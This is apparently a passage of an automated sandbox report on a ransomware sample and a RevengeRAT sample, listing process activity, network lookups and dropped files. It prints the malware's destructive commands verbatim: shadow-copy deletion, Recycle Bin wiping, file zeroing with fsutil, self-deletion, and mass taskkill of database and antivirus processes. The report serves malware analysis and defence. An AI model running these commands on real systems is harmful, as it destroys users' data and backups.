PID 2428 wrote to memory of 2868	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 2952	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 2952	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4544	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4544	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 1020	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 1020	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4476	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4476	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4480	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4480	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 744	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 744	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 5000	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 5000	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 2272	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 2272	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4364	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4364	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 2100	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 2100	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 1416	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 1416	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 3900	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 3900	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4740	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4740	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4488	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4488	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4060	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4060	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4104	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4104	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4884	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4884	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4156	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 4156	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 1964	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 1964	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 704	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 704	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 3592	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 3592	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 5080	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 5080	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 2932	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 2932	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 2696	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe
PID 2428 wrote to memory of 2696	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	C:\Windows\SYSTEM32\taskkill.exe

Processes

C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

"C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLTELEMETRY start= disabled

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLWriter start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SstpSvc start= disabled

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqbcoreservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM firefoxconfig.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM agntsvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM thebat.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM steam.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM encsvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM excel.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM CNTAoSMgr.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlwriter.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM tbirdconfig.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM dbeng50.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM thebat64.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocomm.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM infopath.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mbamtray.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM zoolz.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" IM thunderbird.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM dbsnmp.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM xfssvccon.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM Ntrtscan.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM isqlplussvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM onenote.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM PccNTMon.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM msaccess.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM outlook.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM tmlisten.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM msftesql.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM powerpnt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM visio.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM winword.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld-nt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM wordpad.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld-opt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocautoupds.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocssd.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM oracle.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlagent.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlbrowser.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlservr.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM synctime.exe /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }

C:\Windows\System32\notepad.exe

"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe

C:\Windows\system32\PING.EXE

ping 127.0.0.7 -n 3

C:\Windows\system32\choice.exe

choice /C Y /N /D Y /T 3

C:\Windows\system32\fsutil.exe

fsutil file setZeroData offset=0 length=524288 “%s”

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	209.205.72.20.in-addr.arpa	udp
US	8.8.8.8:53	80.90.14.23.in-addr.arpa	udp
US	8.8.8.8:53	g.bing.com	udp
US	8.8.8.8:53	136.32.126.40.in-addr.arpa	udp
US	204.79.197.237:443	g.bing.com	tcp
US	8.8.8.8:53	237.197.79.204.in-addr.arpa	udp
BE	88.221.83.184:443	www.bing.com	tcp
US	8.8.8.8:53	184.83.221.88.in-addr.arpa	udp
US	8.8.8.8:53	55.36.223.20.in-addr.arpa	udp
US	8.8.8.8:53	196.249.167.52.in-addr.arpa	udp
US	8.8.8.8:53	157.123.68.40.in-addr.arpa	udp
US	8.8.8.8:53	18.31.95.13.in-addr.arpa	udp
US	8.8.8.8:53	0.204.248.87.in-addr.arpa	udp
US	8.8.8.8:53	82.90.14.23.in-addr.arpa	udp
US	8.8.8.8:53	205.47.74.20.in-addr.arpa	udp
US	8.8.8.8:53	31.243.111.52.in-addr.arpa	udp
US	8.8.8.8:53	tse1.mm.bing.net	udp
US	150.171.27.10:443	tse1.mm.bing.net	tcp
US	150.171.27.10:443	tse1.mm.bing.net	tcp
US	150.171.27.10:443	tse1.mm.bing.net	tcp
US	150.171.27.10:443	tse1.mm.bing.net	tcp
US	8.8.8.8:53	88.156.103.20.in-addr.arpa	udp
US	8.8.8.8:53	10.27.171.150.in-addr.arpa	udp

Files

memory/2428-0-0x00007FFAB7573000-0x00007FFAB7575000-memory.dmp

memory/2428-1-0x0000000000F50000-0x0000000000F6A000-memory.dmp

memory/2428-3-0x00007FFAB7570000-0x00007FFAB8031000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ls4eai5b.fxh.ps1

MD5	d17fe0a3f47be24a6453e9ef58c94641
SHA1	6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256	96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512	5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4668-27-0x00000259AA710000-0x00000259AA732000-memory.dmp

C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]

MD5	ac864f3ec9dba656e782d86736d53a24
SHA1	9cc8fe666a07eea98d9ee3480af7a854e89e2886
SHA256	0a87ac27c6b9e3b545abc58e463f9d365fe28b53405255109c122dc1be58acab
SHA512	e5792a75d0d38852bd6d23ac4afdaedf1b94e0be45791add3e5d7f285ada9406e481ef2ed7aa708279d278662b09ac76ad2abca137ec092761a01cefc48f8f03

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5	d85ba6ff808d9e5444a4b369f5bc2730
SHA1	31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256	84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512	8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\ProgramData\Package Cache\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}v48.108.8828\dotnet-runtime-6.0.27-win-x64.msi

MD5	b3f70db9788459873f9ae15c94f7e154
SHA1	e239cd79f038787752dcb7ca09a105afe12516a6
SHA256	8404b1e72cf64029f8b00c82fc3e53c2dfeae5d69883e9a3ddf9909eec4a1b70
SHA512	46118d88f14ebe1a7ba17bb7daec83af42558b0495d488f3ff54bf269f526c3eb8fb6be60ab74ae7920ada0144a87b9aa5caa4aaecc5b0cac95cba27ab49641d

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5	d28a889fd956d5cb3accfbaf1143eb6f
SHA1	157ba54b365341f8ff06707d996b3635da8446f7
SHA256	21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512	0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

C:\ProgramData\Package Cache\{2BB73336-4F69-4141-9797-E9BD6FE3980A}v64.8.8795\dotnet-host-8.0.2-win-x64.msi.energy[[email protected]]

MD5	fdcec3a65db537747c2b4c28d22b21ef
SHA1	1caa055c99e02849b3187ea2b86206f719b001bc
SHA256	534a87ba68a44c57e837f9e8a72a1211b997601d54eb8cced7e8997870b41737
SHA512	9f6bc6b3dfa77a5f9bf6d4dc9e7aadf58a5f38cb3a50e36ce3de36b807afbba2443f6647f815e34f45c87cb6a24cedf4faf4d8a6fcc2d0b003399c1e5eb6fc0b

C:\ProgramData\Package Cache\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}v56.64.8804\windowsdesktop-runtime-7.0.16-win-x64.msi

MD5	d7db81026eb9778a6d3e4c8474d682f9
SHA1	d3ba7e0248a3b0430f45e826484bf7ef5574b040
SHA256	03c81007033a09018a790fb9be3894fcaf8e364bb57f038ebb8c247d5bd13935
SHA512	245823da13be1b940dbb1641b8f15b4fed5146666695d0f5e26e99b58a5140aae6c7348104de7617ac8536e111ddb49c663c2a21e9a0cd48f397e8c8b709dff9

C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log

MD5	013325895dd8fdb6d4b3a9b6626ca65a
SHA1	e765f1b8abe34b3efc222531d5a0bac88a1eb37e
SHA256	2c810ee2313522b92462abafd8bcf755d8802f5f79b3d86e5f860620a48393b3
SHA512	10cb346ae00d16239695f3ba84512a98e2d737fa5352176c1b4be6b07caae4ff8653fb3501596bb5ccfafb3b490369a2b6372057726b96243094753fb9f11f7d

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

MD5	db9fb3829b2868713519036cd1848550
SHA1	22358bdf15a4387730e607271ef303c788e3ef89
SHA256	03dfd3d808817ef3b2c5139489e0d10bb80dbc7c59bf7492af7b8d1037d5f625
SHA512	554df44d7d7b7ee2b522f979fc5d8c82abbf3c12957628b46763c923e2d980fb3f65086b67cbcdeef2bbf49526c252d736a028a472b8771f314a2d83ac317413

memory/2428-534-0x00007FFAB7570000-0x00007FFAB8031000-memory.dmp

Analysis: behavioral28

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:13

Platform

win10v2004-20240611-en

Max time kernel

149s

Max time network

156s

Command Line

"C:\Users\Admin\AppData\Local\Temp\905d572f23883f5f161f920e53473989cf7dffc16643aa759f77842e54add550.exe"

Signatures

RevengeRAT

trojan revengerat

RevengeRat Executable

stealer

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation	C:\Users\Admin\AppData\Local\Temp\905d572f23883f5f161f920e53473989cf7dffc16643aa759f77842e54add550.exe	N/A

Drops startup file

Description	Indicator	Process	Target
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSO.exe	C:\Windows\system32\MSSCS.exe	N/A
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSO.exe	C:\Windows\system32\MSSCS.exe	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\MSSCS.exe	N/A

Uses the VBS compiler for execution

Drops file in System32 directory

Description	Indicator	Process	Target
File created	C:\Windows\system32\MSSCS.exe	C:\Users\Admin\AppData\Local\Temp\905d572f23883f5f161f920e53473989cf7dffc16643aa759f77842e54add550.exe	N/A
File opened for modification	C:\Windows\system32\MSSCS.exe	C:\Users\Admin\AppData\Local\Temp\905d572f23883f5f161f920e53473989cf7dffc16643aa759f77842e54add550.exe	N/A
File opened for modification	C:\Windows\system32\MSSCS.exe	C:\Windows\system32\MSSCS.exe	N/A
File created	C:\Windows\system32\MSSCS.exe	C:\Windows\system32\MSSCS.exe	N/A

Command and Scripting Interpreter: PowerShell

execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\905d572f23883f5f161f920e53473989cf7dffc16643aa759f77842e54add550.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\system32\MSSCS.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 1996 wrote to memory of 4528	N/A	C:\Users\Admin\AppData\Local\Temp\905d572f23883f5f161f920e53473989cf7dffc16643aa759f77842e54add550.exe	C:\Windows\system32\MSSCS.exe
PID 1996 wrote to memory of 4528	N/A	C:\Users\Admin\AppData\Local\Temp\905d572f23883f5f161f920e53473989cf7dffc16643aa759f77842e54add550.exe	C:\Windows\system32\MSSCS.exe
PID 4528 wrote to memory of 5076	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4528 wrote to memory of 5076	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4528 wrote to memory of 4668	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 4528 wrote to memory of 4668	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 4668 wrote to memory of 8	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 4668 wrote to memory of 8	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 4528 wrote to memory of 2584	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 4528 wrote to memory of 2584	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 2584 wrote to memory of 208	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 2584 wrote to memory of 208	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 4528 wrote to memory of 1960	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 4528 wrote to memory of 1960	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 1960 wrote to memory of 4896	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 1960 wrote to memory of 4896	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 4528 wrote to memory of 2948	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 4528 wrote to memory of 2948	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 2948 wrote to memory of 2216	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 2948 wrote to memory of 2216	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 4528 wrote to memory of 3320	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 4528 wrote to memory of 3320	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
PID 3320 wrote to memory of 4964	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 3320 wrote to memory of 4964	N/A	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 4528 wrote to memory of 3344	N/A	C:\Windows\system32\MSSCS.exe	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
